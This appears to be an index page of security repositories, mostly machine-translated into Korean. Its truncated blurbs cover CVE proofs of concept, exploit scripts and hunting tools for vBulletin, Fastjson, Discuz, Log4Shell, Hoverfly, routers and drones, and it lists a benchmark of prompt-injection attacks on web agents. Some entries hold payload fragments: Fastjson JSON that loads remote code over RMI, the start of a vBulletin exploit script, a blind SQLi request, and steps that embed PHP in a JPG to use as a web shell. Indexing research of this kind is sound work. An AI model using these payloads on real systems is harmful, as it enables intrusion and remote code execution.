Privilege-escalation-ASKEY

Privilege-escalation-ASKEY-Router-RTF3505VW-N1 CVE-2022-47040 ASKEY 라우터의 권한 상승 취약점 장치: ASKEY RTF3505VW-N1 펌웨어: BRSVg000R3505VMN1001s327 다른 버전에서는 테스트되지 않음 CLI 버전: ReducedCLIHGUv13 익스플로잇: ASKEY RTF3505VW-N1 장치는 ssh를 통해 제한된 기본 셸로 접근할 수 있게 제공됩니다: 제한된 셸은 "ReducedCLI"에 접근할 수 있으며, 대부분의 linux/unix 명령 실행을...

tbhm

버그 헌터의 방법론 TBHM 환영합니다! 이 저장소는 다음 항목들의 모음입니다. 팁 트릭 도구 데이터 분석 및 노트 웹 애플리케이션 보안 평가와 관련된 내용으로, 더 구체적으로는 버그 바운티에서 버그 헌팅을 대상으로 합니다. 현재 섹션은 다음과 같이 나뉩니다: 해킹을 시작하기 전에 학습 자료 콘텐츠 제작자 및 인플루언서 정찰 애플리케이션 분석 매핑 인증 및 세션 전술적 퍼징 XSS SQLi 파일 포함 CSRF 권한, 전송 및 로직 웹 서비스 모바일 취약점 기타 보조 정보 이 프로젝트의 목표는 버그 헌터와 웹 해커가 일상 업무에...

CVE-2026-66748-Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field

보안 권고: Camaleon CMS - selecteval 사용자 정의 필드를 통한 인증된 RCE 지정 CVE ID: CVE-2026-66748 제품: Camaleon CMS https://github.com/owen2345/camaleon-cms 영향을 받는 버전: 2.1.1 – 2.9.1 커밋 415cbda6 2015-10-16에서 도입; 커밋 15882366 2026-03-29 / v2.9.2에서 수정 심각도: 높음 CVSS 4.0 점수: 8.7 CVSS 4.0 벡터:...

vBulletin-5.x-0day-pre-auth-RCE-exploit

vBulletin-5.x-0day-pre-auth-RCE-exploit 영향받는 버전: vBulletin 5.0.05.5.4 PoC는 다음과 같습니다: !/usr/bin/python vBulletin 5.x 0day pre-auth RCE exploit This should work on all versions from 5.0.0 till 5.5.4 Google Dorks: - site:.vbulletin.net - "Powered by vBulletin Version 5.5.4" import requests import...

SleuthQL

SleuthQL 설명 SleuthQL은 SQL과 유사한 구문을 포함하는 매개변수와 값을 식별하는 python3 스크립트입니다. 식별되면 SleuthQL은 SQL-esque 변수가 식별된 각 매개변수에 SQLMap 식별자를 삽입합니다. 지원되는 요청 유형 SleuthQL은 Burp의 프록시 기록Proxy History 내보내기가 필요합니다. 이 내보내기를 얻으려면 프록시 기록 탭으로 이동하여 모든 항목을 선택하고 "Save Items"를 클릭하면 됩니다. 각 요청이 base64 인코딩으로 저장되었는지 확인하세요. SleuthQL...

ProxySqlMap

ProxySqlMap 프록시에서 SqlMapApi로 사용 방법: config.py 수정: 1. Extfilter는 필터링할 확장자입니다. 2. sqlmap은 SQLmap 주소입니다. 3. url은 가로챌 URL입니다. 4. admintoken은 sqlmap의 adminid입니다. 프록시 설정: 127.0.0.1:8081 지원 라이브러리: 1. requests 2. baseproxy이미 내장되어 있어 설치할 필요가 없습니다 HTTPS 지원: baseproxy.ca에 접속하면 다운로드할 수 있습니다. 출력: sqlsan.txt는...

Metinfo-6.1.2-SQL-injection

Metinfo-6.1.2-SQL-injection Metinfo 6.1.2 SQL 주입 스크립트 0-sec.org...

Fastjson-1.2.47-rce

Fastjson-1.2.47-rce version1.2.51 원격 코드 실행 1.2.24 "b":"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true ​ 알 수 없는 버전1.2.24-41 사이 "@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true ​ 1.2....

discuz-ml-rce

discuz-ml-rce 影響を受けるシステムとバージョン：Discuz!ML V3.2-3.4 Discuz!x V3.2-3.4 脆弱性の原因：Discuz!ML システムはcookie内のlで受け取ったlanguageパラメータの内容をフィルタリングしないため、文字列が連結され、PHPコードが実行されます。 cookieフィールド内にxxxxxxxxlanguageフィールドが現れます。根本原因はこのフィールドにインジェクションが存在し、RCEを引き起こすことです。 パケットキャプチャでcookieのlanguageの値を見つけ、次の値に変更します...

commend_sqli

CVE-2023-XXXXX 제안된 설명 G8-VOIPRECCommend VoIPRec 웹 인터페이스는 로그인 페이지의 "Code" 매개변수에서 시간 기반 블라인드 SQL 인젝션에 취약합니다. 추가 정보 PoC: POST /cgi-bin/SecComRecX.cgi HTTP/1.1 Host: 192.168.88.10 User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept: application/json, text/javascript...

SSTI-Exploit-Detector

SSTI-Exploit-Detector SSTI Exploit Detector 는 웹 애플리케이션에서 잠재적인 Server-Side Template Injection SSTI 취약점을 탐지하도록 설계된 도구입니다. SSTI-Exploit-Detector Jenderal92 기능 사용자 지정 페이로드 파일 : 사용자가 다양한 템플릿 엔진을 테스트하기 위해 자신만의 페이로드를 추가할 수 있습니다. 기본 페이로드 : Jinja2, Tornado, Ruby, Velocity 같은 인기 템플릿 엔진의 취약점을 탐지하도록 설계된 사전 구...

CVE-2025-63419

CVE-2025-63419 CrushFTP 11.3.760 이전 버전은 HTML Injection에 취약합니다. 웹 기반 서버에는 사용자가 파일을 공유할 수 있는 기능이 있으며, 이 기능은 파일 이름을 이메일 본문 필드에 반영하는데, 이때 적절한 검증이 이루어지지 않아 HTML Injection이 발생합니다. CWE CWE-79 — 웹 페이지 생성 중 입력의 부적절한 중화 교차 사이트 스크립팅 CVSS v3.1 기본 점수: 3.5 낮음 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N 요약...

Automated-blind-xss-search-for-Burp-Suite

Femida-xss WIP Burp Suite용 자동 블라인드 XSS 검색 플러그인입니다. 설치 Git clone https://github.com/ianxtianxt/Automated-blind-xss-search-for-Burp-Suite.git Burp - Extender - Add - blind-xss.py를 찾아 선택하세요. 사용 방법 설정 먼저 "Your url" 필드에 콜백 URL을 설정하고 Enter 키를 누르면 config.py 파일에 자동으로 저장됩니다. 설정을 완료한 후에는 Payloads 테이블을...

CVE-2024-36039_PoC

CVE-2024-36039: PyMySQL 객체 주입을 통한 SQL 인젝션 PoC CVE-2024-36039 에 대한 완전하고 재현 가능한 개념 증명PoC 실습 환경입니다. PyMySQL버전 = 1.1.0의 객체 주입 취약점이 MariaDB의 ODBC 이스케이프 시퀀스를 통해 완전한 SQL 인젝션으로 이어질 수 있음을 보여줍니다. ⚠️ 법적 및 윤리적 고지 윤리적 용도만 허용 이 저장소는 학술 및 연구 목적 으로만 제공됩니다. 제공된 코드와 기술은 소유하고 있거나 명시적인 서면 승인을 받은 시스템 외에는 간섭하는 데 사용해서는 ...

Log4Shell

Log4Shell CVE-2021-44228 ☠️ Log4Shell PoC CVE-2021-44228 Apache Log4j ≤ 2.14.1의 치명적인 취약점 Log4Shell 에 대한 테스트 익스플로잇으로, JNDI 주입을 통해 원격 코드 실행을 허용합니다. ⚠️ 이 PoC는 교육 목적 및 승인된 환경에서의 통제된 테스트 전용입니다. 명시적 허가 없이 시스템에 사용하지 마십시오. 요구 사항 Python 3.x Java 8 이상 marshalsec 악성 LDAP 서버용 HTTP 서버 예: python3 -m http.server...

CVE-2025-54123

CVE-2025-54123 - Hoverfly 명령 주입 RCE PoC CVE-2025-54123 - Hoverfly의 미들웨어 명령 주입 📌 CVE 세부 정보 ID : CVE-2025-54123 유형 : 명령 주입 / 원격 코드 실행 RCE 공급업체 : Hoverfly 영향 : 인증된 공격자가 미들웨어 API 엔드포인트를 통해 임의의 시스템 명령을 실행할 수 있습니다. 영향받는 버전 : Hoverfly ≤ 1.11.3 추가 정보 : GHSA-r4h8-hfp2-ggmf NVD:...

Security Bulletin: Multiple vulnerabilities affect the Sniffer component as part of IBM Guardium Data Protection

Summary Multiple vulnerabilities have been addressed in the Sniffer component as part of IBM Guardium Data Protection Vulnerability Details CVEID:CVE-2026-75875 DESCRIPTION: IBM Guardium Data Protection could allow a remote attacker to execute arbitrary code due to path traversal. CWE:CWE-22:...

WAInjectBench

WAInjectBench WAInjectBench는 웹 에이전트의 프롬프트 인젝션 탐지 를 위한 종합적인 벤치마크입니다. 텍스트 와 이미지 의 두 가지 모달리티 에 걸쳐 6가지 유형의 공격 을 다룹니다. 📂 데이터셋 구조 data/ text/ benign/ → 4개 카테고리, JSONL 파일로 저장됨 malicious/ → 8가지 공격 유형, JSONL 파일로 저장됨 image/ benign/ → 2개 카테고리, 하위 폴더에 저장됨 malicious/ → 7가지 공격 유형, 하위 폴더에 저장됨 ⚙️ 설치 저장소를 클론하고 환경을...

Dji_ble_vuln

CVE-2026-78306 — DJI 드론 Bluetooth를 통한 DUML 명령 주입 POC CVE 레코드: https://vulners.com/cve/CVE-2026-78306 NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-78306 설명 DJI 드론은 드론의 Wi-Fi 인터페이스에 연결을 설정하고 Wi-Fi 자격 증명을 교환하는 데 사용되는 Bluetooth 인터페이스를 노출합니다. Bluetooth 인터페이스는 세 가지 명령에 대해 장치의 신뢰할 수 있는 UUID를 확인합니다: SS...

Inject-PHP-to-JPG-Using-Jhead

Jhead를 사용하여 JPG에 PHP 주입하기 $ pkg install vim or apt-get install vim $ pkg install jhead or apt-get install jhead $ jhead -h 도움말 보기 $ jhead -purejpg yourfiles.jpg $ jhead -ce yourfiles.jpg ESC를 누른 후 :x를 입력하여 저장하세요 $ jhead yourfiles.jpg 예시 : site.com/youfiles.php?cmd=Command Here...